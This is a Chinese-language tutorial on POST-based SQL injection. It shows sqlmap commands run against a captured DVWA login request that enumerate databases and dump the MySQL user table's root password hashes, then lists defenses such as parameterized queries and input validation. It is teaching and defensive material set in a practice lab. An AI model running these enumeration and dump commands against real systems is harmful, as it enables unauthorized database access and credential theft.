了解sqlmap
sqlmap是一款开源、功能强大的自动化SQL注入工具,支持Access,MySQL,Oracle,SQL Server,DB2等多种数据库。支持get,post ,cookie注入,支持基于布尔的盲注,基于时间的盲注,错误回显注入,联合查询注入,堆查询注入等。
POST注入形成原因
1.在登录处,用于判断用户名、密码会使用select语句;
2.在修改密码处,更新密码,会使用到update语句;
3.在商城系统中,订单的添加,删除,可能会使用到insert,delete语句;
登录是执行POST请求,与GET请求不同,传给服务器的值不会再URL中出现了,而是在请求体里,当服务器拿到请求体的数据,再执行SQL语句,查询是否存在用户输入的用户名和密码。
传入参数,服务器解析参数之后,完整闭合SQL语句,构造万能密码成功登陆。
POST注入也属于SQL注入,所以究其原因还是由于参数没有过滤导致的。源码如下:
使用sqlmap进行POST注入
进入DVWA,选择Brute Force选项,username和password随便输入,然后打开burpsuite,设置好本地代理,进行抓包。
将抓到的包保存为1.txt,并放到c盘根目录下。
打开sqlmap。第一步:列出数据库:
sqlmap.py -r c:\1.txt -p username --dbs
-r表示加载一个文件,-p指定参数
第二步:猜表:选择一个数据库进行猜表:
sqlmap.py -r c:\1.txt-p username -D mysql --tables
-D表示数据库;-T表示表;-C表示列
第三步:猜列:
sqlmap.py -r c:\1.txt-p username -D mysql -T user--columns
第四步:得到数据:
sqlmap.py -r c:\1.txt -p username -D mysql -T user -C“User,Password” --dump
此时就得到了root用户的密码哈希值,接下来解密就行。
如何防止POST注入?
权限区分:
普通用户与系统管理员用户的权限要有严格的区分。由于Drop 语句关系到数据库的基本对象,故要操作这个语句用户必须有相关的权限。在权限设计中,对于终端用户,即应用软件的使用者,没有必要给他们数据库对象的建立、删除等权限。那么即使在他们使用 SQL 语句中带有嵌入式的恶意代码,由于其用户权限的限制,这些代码也将无法被执行。故应用程序在设计的时候,最好把系统管理员的用户与普通用户区分开来。如此可以最大限度的减少注入式攻击对数据库带来的危害。
使用参数化语句:
如果在编写 SQL 语句的时候,用户输入的变量不是直接嵌入到 SQL 语句,而是通过参数来传递这个变量的话,那么就可以有效的防治 SQL 注入式攻击。也就是说,用户的输入绝对不能够直接被嵌入到 SQL 语句中。与此相反,用户的输入的内容必须进行过滤,或者使用参数化的语句来传递用户输入的变量。参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。采用这种措施,可以杜绝大部分的 SQL 注入式攻击。
对用户的输入进行验证:
通过测试类型、长度、格式和范围来验证用户输入,过滤用户输入的内容。这是防止 SQL 注入式攻击的常见并且行之有效的措施。防治 SQL 注入式攻击可以采用两种方法,一是加强对用户输入内容的检查与验证;二是强迫使用参数化语句来传递用户输入的内容。在 SQLServer 数据库中,有比较多的用户输入内容验证工具,可以帮助管理员来对付SQL 注入式攻击。测试字符串变量的内容,只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入,防止某些缓冲区溢出攻击。测试用户输入内容的大小和数据类型,强制执行适当的限制与转换。这即有助于防止有意造成的缓冲区溢出,对于防治注入式攻击有比较明显的效果。
多使用数据库自带的安全参数:
为了减少注入式攻击对于 SQLServer 数据库的不良影响,在 SQLServer 数据库专门设计了相对安全的 SQL 参数。在数据库设计过程中,工程师要尽量采用这些参数来杜绝恶意的 SQL 注入式攻击。如在 SQL Server 数据库中提供了 Parameters 集合。这个集合提供了类型检查和长度验证的功能。如果管理员采用了 Parameters 这个集合的话,则用户输入的内容将被视为字符值而不是可执行代码。即使用户输入的内容中含有可执行代码,则数据库也会过滤掉。因为此时数据库只把它当作普通的字符来处理。
多层环境防止 SQL 注入:
在多层应用环境中,用户输入的所有数据都应该在验证之后才能被允许进入到可信区域。未通过验证过程的数据应被数据库拒绝,并向上一层返回一个错误信息。实现多层验证。对无目的的恶意用户采取的预防措施,对坚定的攻击者可能无效。
设置陷阱账号:
设置两个帐号,一个是普通管理员帐号,一个是防注入的帐号。将防注入的账号设置的很象管理员,如 admin,以制造假象吸引软件的检测,而密码是大于千字以上的中文字符,迫使软件分析账号的时候进入全负荷状态甚至资源耗尽而死机。
版权归原作者 夜之王。 所有, 如有侵权,请联系我们删除。